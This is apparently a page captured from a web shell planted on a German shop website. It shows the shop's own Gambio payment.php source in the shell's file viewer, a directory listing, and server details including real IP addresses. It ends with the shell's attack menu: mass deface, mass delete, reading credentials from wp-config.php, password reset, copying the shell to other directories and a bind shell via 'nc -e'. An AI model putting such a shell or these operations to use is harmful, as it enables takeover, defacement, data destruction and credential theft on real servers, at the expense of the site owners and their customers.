WPZ

berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/classes/payment.php (13.57 KB)
<?php
/* --------------------------------------------------------------
   payment.php 2011-09-15 gm
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2011 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------


   based on: 
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(payment.php,v 1.36 2003/02/11); www.oscommerce.com 
   (c) 2003	 nextcommerce (payment.php,v 1.11 2003/08/17); www.nextcommerce.org
   (c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: payment.php 1136 2005-08-07 13:19:54Z mz $)

   Released under the GNU General Public License
   -----------------------------------------------------------------------------------------
   Third Party contribution:

   Credit Class/Gift Vouchers/Discount Coupons (Version 5.10)
   http://www.oscommerce.com/community/contributions,282
   Copyright (c) Strider | Strider@oscworks.com
   Copyright (c  Nick Stanko of UkiDev.com, nick@ukidev.com
   Copyright (c) Andre ambidex@gmx.net
   Copyright (c) 2001,2002 Ian C Wilson http://www.phesis.org


   Released under the GNU General Public License
   ---------------------------------------------------------------------------------------*/

  // include needed functions
  require_once(DIR_FS_INC . 'xtc_count_payment_modules.inc.php');
  require_once(DIR_FS_INC . 'xtc_in_array.inc.php');

  class payment_ORIGIN {
    var $modules, $selected_module;

    // class constructor
    function payment_ORIGIN($module = '') {
      global $PHP_SELF,$order;

      if (defined('MODULE_PAYMENT_INSTALLED') && xtc_not_null(MODULE_PAYMENT_INSTALLED)) {
      	
		//  Modification for Paypal Express Checkout
		if($_SESSION['paypal_express_checkout']==true){
			$this->modules = explode(';', $_SESSION['paypal_express_payment_modules'] );
		}else{
			// BOF GM_MOD
			$t_gm_module_payment_installed = str_replace('paypalexpress.php', '', MODULE_PAYMENT_INSTALLED);
			$t_gm_module_payment_installed = str_replace(';;', ';', $t_gm_module_payment_installed);
			
			if(strpos($t_gm_module_payment_installed, ';') === 0)
			{
				$t_gm_module_payment_installed = substr($t_gm_module_payment_installed, 1);
			}
			
			if(substr($t_gm_module_payment_installed, -1) == ';')
			{
				$t_gm_module_payment_installed = substr($t_gm_module_payment_installed, 0, -1);
			}
			
			$this->modules = explode(';', $t_gm_module_payment_installed);
			// EOF GM_MOD
		}

        $include_modules = array();

        if ( (xtc_not_null($module)) && (in_array($module . '.php', $this->modules)) ) {
          $this->selected_module = $module;

          $include_modules[] = array('class' => $module, 'file' => $module . '.php');
        } else {
          reset($this->modules);
          while (list(, $value) = each($this->modules)) {
            $class = substr($value, 0, strrpos($value, '.'));
            $include_modules[] = array('class' => $class, 'file' => $value);
          }
        }
	// load unallowed modules into array
	$unallowed_modules = explode(',', $_SESSION['customers_status']['customers_status_payment_unallowed'].','.$order->customer['payment_unallowed']);
    // add unallowed modules/Download
    if ($order->content_type == 'virtual' || ($order->content_type == 'virtual_weight')) {
     $unallowed_modules = array_merge($unallowed_modules,explode(',',DOWNLOAD_UNALLOWED_PAYMENT));
    }
	// disable payment method 'cod' for gift vouchers
	if($_SESSION['cart']->count_contents_virtual() == 0 && array_search('cod', $unallowed_modules) === false)
	{
		$unallowed_modules[] = 'cod';
	}

        //print_r($include_modules);
        for ($i = 0, $n = sizeof($include_modules); $i < $n; $i++) {
          if (!in_array($include_modules[$i]['class'], $unallowed_modules)) {
            // check if zone is alowed to see module
            if (constant(MODULE_PAYMENT_ . strtoupper(str_replace('.php', '', $include_modules[$i]['file'])) . _ALLOWED) != '') {
              $unallowed_zones = explode(',', constant(MODULE_PAYMENT_ . strtoupper(str_replace('.php', '', $include_modules[$i]['file'])) . _ALLOWED));
            } else {
              $unallowed_zones = array();
            }
            if (in_array($_SESSION['delivery_zone'], $unallowed_zones) == true || count($unallowed_zones) == 0) {
              if ($include_modules[$i]['file']!='' && $include_modules[$i]['file']!='no_payment') {

              include(DIR_WS_LANGUAGES . $_SESSION['language'] . '/modules/payment/' . $include_modules[$i]['file']);
              include(DIR_WS_MODULES . 'payment/' . $include_modules[$i]['file']);

              }
              $GLOBALS[$include_modules[$i]['class']] = new $include_modules[$i]['class'];
            }
          }
        }
        // if there is only one payment method, select it as default because in
        // checkout_confirmation.php the $payment variable is being assigned the
        // $HTTP_POST_VARS['payment'] value which will be empty (no radio button selection possible)
        if ( (xtc_count_payment_modules() == 1) && (!is_object($_SESSION['payment'])) && $_SESSION['payment'] != 'no_payment') {
          // BOF GM_MOD
          $gm_selected_payment = $this->selection();
          if(!empty($gm_selected_payment[0]['id']))
		  {
			  $_SESSION['payment'] = $gm_selected_payment[0]['id'];
		  }
		  else
		  {
			  $_SESSION['payment'] = $include_modules[0]['class'];
		  }
          // EOF GM_MOD
        }

        if ( (xtc_not_null($module)) && (in_array($module, $this->modules)) && (isset($GLOBALS[$module]->form_action_url)) ) {
          $this->form_action_url = $GLOBALS[$module]->form_action_url;
        }
      }
    }

    // class methods
    /* The following method is needed in the checkout_confirmation.php page
       due to a chicken and egg problem with the payment class and order class.
       The payment modules needs the order destination data for the dynamic status
       feature, and the order class needs the payment module title.
       The following method is a work-around to implementing the method in all
       payment modules available which would break the modules in the contributions
       section. This should be looked into again post 2.2.
     */   
    function update_status() {
      if (is_array($this->modules)) {
        if (is_object($GLOBALS[$this->selected_module])) {
          if (function_exists('method_exists')) {
            if (method_exists($GLOBALS[$this->selected_module], 'update_status')) {
              $GLOBALS[$this->selected_module]->update_status();
            }
          } else { // PHP3 compatibility
            @call_user_method('update_status', $GLOBALS[$this->selected_module]);
          }
        }
      }
    }
    function refresh() {
      if (is_array($this->modules)) {
        if (is_object($GLOBALS[$this->selected_module])) {
          if (function_exists('method_exists')) {
            if (method_exists($GLOBALS[$this->selected_module], 'refresh')) {
              $GLOBALS[$this->selected_module]->refresh();
            }
          } else { // PHP3 compatibility
            @call_user_method('refresh', $GLOBALS[$this->selected_module]);
          }
        }
      }
    }
    function javascript_validation() {
      $js = '';
      // BOF GM_MOD
			/*
			if (is_array($this->modules)) {
        $js = '<script type="text/javascript"><!-- ' . "\n" .
              'function check_form() {' . "\n" .
              '  var error = 0;' . "\n" .
              '  var error_message = unescape("' . xtc_js_lang(JS_ERROR) . '");' . "\n" .
              '  var payment_value = null;' . "\n" .
              '  if (document.getElementById("checkout_payment").payment.length) {' . "\n" .
              '    for (var i=0; i<document.getElementById("checkout_payment").payment.length; i++) {' . "\n" .
              '      if (document.getElementById("checkout_payment").payment[i].checked) {' . "\n" .
              '        payment_value = document.getElementById("checkout_payment").payment[i].value;' . "\n" .
              '      }' . "\n" .
              '    }' . "\n" .
              '  } else if (document.getElementById("checkout_payment").payment.checked) {' . "\n" .
              '    payment_value = document.getElementById("checkout_payment").payment.value;' . "\n" .
              '  } else if (document.getElementById("checkout_payment").payment.value) {' . "\n" .
              '    payment_value = document.getElementById("checkout_payment").payment.value;' . "\n" .
              '  }' . "\n\n";

        reset($this->modules);
        while (list(, $value) = each($this->modules)) {
          $class = substr($value, 0, strrpos($value, '.'));
          if ($GLOBALS[$class]->enabled) {
            $js .= $GLOBALS[$class]->javascript_validation();
          }
        }
        if (DISPLAY_CONDITIONS_ON_CHECKOUT == 'true') {
        $js .= "\n" . '  if (!document.getElementById("checkout_payment").conditions.checked) {' . "\n" .
               '    error_message = error_message + unescape("' . xtc_js_lang(ERROR_CONDITIONS_NOT_ACCEPTED) . '");' . "\n" .
               '    error = 1;' . "\n" .
               '  }' . "\n\n";
        }
        $js .= "\n" . '  if (payment_value == null) {' . "\n" .
               '    error_message = error_message + unescape("' . xtc_js_lang(JS_ERROR_NO_PAYMENT_MODULE_SELECTED) . '");' . "\n" .
               '    error = 1;' . "\n" .
               '  }' . "\n\n" .
               '  if (error == 1 && submitter != 1) {' . "\n" . // GV Code Start/End
               '    alert(error_message);' . "\n" .
               '    return false;' . "\n" .
               '  } else {' . "\n" .
               '    return true;' . "\n" .
               '  }' . "\n" .
               '}' . "\n" .
               '//--></script>' . "\n";
      }
			*/
			// EOF GM_MOD

      return $js;
    }

    function selection() {
      $selection_array = array();

      if (is_array($this->modules)) {
        reset($this->modules);
        while (list(, $value) = each($this->modules)) {
          $class = substr($value, 0, strrpos($value, '.'));
          if ($GLOBALS[$class]->enabled) {
            $selection = $GLOBALS[$class]->selection();
            if (is_array($selection)) $selection_array[] = $selection;
          }
        }
      }

      return $selection_array;
    }

    //GV Code Start
    //ICW CREDIT CLASS Gift Voucher System
    // check credit covers was setup to test whether credit covers is set in other parts of the code
    function check_credit_covers() {
       global $credit_covers;

    return $credit_covers;
            }
    // GV Code End

    function pre_confirmation_check() {
    global $credit_covers, $payment_modules; // GV Code ICW CREDIT CLASS Gift Voucher System
      if (is_array($this->modules)) {
        if (is_object($GLOBALS[$this->selected_module]) && ($GLOBALS[$this->selected_module]->enabled) ) {

                  if ($credit_covers) { // GV Code ICW CREDIT CLASS Gift Voucher System
                    $GLOBALS[$this->selected_module]->enabled = false; // GV Code ICW CREDIT CLASS Gift Voucher System
                    $GLOBALS[$this->selected_module] = NULL; // GV Code ICW CREDIT CLASS Gift Voucher System
                    $payment_modules = ''; // GV Code ICW CREDIT CLASS Gift Voucher System
                  } else { // GV Code ICW CREDIT CLASS Gift Voucher System
                    $GLOBALS[$this->selected_module]->pre_confirmation_check();
                  }
            }
      }
    }

    function confirmation() {
      if (is_array($this->modules)) {
        if (is_object($GLOBALS[$this->selected_module]) && ($GLOBALS[$this->selected_module]->enabled) ) {
          return $GLOBALS[$this->selected_module]->confirmation();
        }
      }
    }

    function process_button() {
      if (is_array($this->modules)) {
        if (is_object($GLOBALS[$this->selected_module]) && ($GLOBALS[$this->selected_module]->enabled) ) {
          return $GLOBALS[$this->selected_module]->process_button();
        }
      }
    }

    function before_process() {
      if (is_array($this->modules)) {
        if (is_object($GLOBALS[$this->selected_module]) && ($GLOBALS[$this->selected_module]->enabled) ) {
          return $GLOBALS[$this->selected_module]->before_process();
        }
      }
    }
    
    function payment_action() {
      if (is_array($this->modules)) {
        if (is_object($GLOBALS[$this->selected_module]) && ($GLOBALS[$this->selected_module]->enabled) ) {
          return $GLOBALS[$this->selected_module]->payment_action();
        }
      }
    }

    function after_process() {
      if (is_array($this->modules)) {
        if (is_object($GLOBALS[$this->selected_module]) && ($GLOBALS[$this->selected_module]->enabled) ) {
          return $GLOBALS[$this->selected_module]->after_process();
        }
      }
    }

    function get_error() {
      if (is_array($this->modules)) {
        if (is_object($GLOBALS[$this->selected_module]) && ($GLOBALS[$this->selected_module]->enabled) ) {
          return $GLOBALS[$this->selected_module]->get_error();
        }
      }
    }

	/* BOF GM MONEYBOOKERS */
	function iframeAction() {
		if (is_array($this->modules)) {
			if (is_object($GLOBALS[$this->selected_module]) && ($GLOBALS[$this->selected_module]->enabled) ) {
				return $GLOBALS[$this->selected_module]->iframeAction();
			}
		}
	}
	/* BOF GM MONEYBOOKERS */
  }
?>
namawaktuukuranownerpermaksi
..
Smarty/ 2013-11-12 21:07343.97 KB 76129f60960:kundendxwrx-rx-r
billsafe_2/ 2013-11-12 21:0721.38 KB 76129f60960:kundendxwrx-rx-r
afterbuy.php 2013-11-12 21:0631.51 KB 76129f60960:kunden-xw-x-----
edt
banktransfer_validation.php 2013-11-12 21:0682.12 KB 76129f60960:kunden-xw-x-----
edt
boxes.php 2013-11-12 21:068.36 KB 76129f60960:kunden-xw-x-----
edt
boxes_old.php 2013-11-12 21:06366 B 76129f60960:kunden-xw-x-----
edt
breadcrumb.php 2013-11-12 21:062.02 KB 76129f60960:kunden-xw-x-----
edt
cc_validation.php 2013-11-12 21:063.42 KB 76129f60960:kunden-xw-x-----
edt
class.heidelpay.php 2013-11-12 21:0625.39 KB 76129f60960:kunden-xw-x-----
edt
class.inputfilter.php 2013-11-12 21:0613.32 KB 76129f60960:kunden-xw-x-----
edt
class.moneybookers.php 2013-11-12 21:0612.02 KB 76129f60960:kunden-xw-x-----
edt
class.phpmailer.php 2013-11-12 21:0646.01 KB 76129f60960:kunden-xw-x-----
edt
class.smtp.php 2013-11-12 21:0633.77 KB 76129f60960:kunden-xw-x-----
edt
http_client.php 2013-11-12 21:0613.32 KB 76129f60960:kunden-xw-x-----
edt
language.php 2013-11-12 21:066.31 KB 76129f60960:kunden-xw-x-----
edt
main.php 2013-11-12 21:065.58 KB 76129f60960:kunden-xw-x-----
edt
message_stack.php 2013-11-12 21:063.29 KB 76129f60960:kunden-xw-x-----
edt
navigation_history.php 2013-11-12 21:064.71 KB 76129f60960:kunden-xw-x-----
edt
order.php 2013-11-12 21:0629.55 KB 76129f60960:kunden-xw-x-----
edt
order_total.php 2013-11-12 21:0611.43 KB 76129f60960:kunden-xw-x-----
edt
payment.php 2013-11-12 21:0613.57 KB 76129f60960:kunden-xw-x-----
edt
paypal_checkout.php 2013-11-12 21:0672.2 KB 76129f60960:kunden-xw-x-----
edt
phpmailer.lang-de.php 2013-11-12 21:061.21 KB 76129f60960:kunden-xw-x-----
edt
phpmailer.lang-en.php 2013-11-12 21:061.04 KB 76129f60960:kunden-xw-x-----
edt
product.php 2013-11-12 21:0625.61 KB 76129f60960:kunden-xw-x-----
edt
sessions.php 2013-11-12 21:0613.23 KB 76129f60960:kunden-xw-x-----
edt
shipping.php 2013-11-12 21:065.95 KB 76129f60960:kunden-xw-x-----
edt
shopping_cart.php 2013-11-12 21:0626.02 KB 76129f60960:kunden-xw-x-----
edt
split_page_results.php 2013-11-12 21:068.15 KB 76129f60960:kunden-xw-x-----
edt
vat_validation.php 2013-11-12 21:0630.28 KB 76129f60960:kunden-xw-x-----
edt
wish_list.php 2013-11-12 21:0620.18 KB 76129f60960:kunden-xw-x-----
edt
xmlparserv4.php 2013-11-12 21:064.24 KB 76129f60960:kunden-xw-x-----
edt
xtbooster.php 2013-11-12 21:062.8 KB 76129f60960:kunden-xw-x-----
edt
xtcPrice.php 2013-11-12 21:0620.16 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK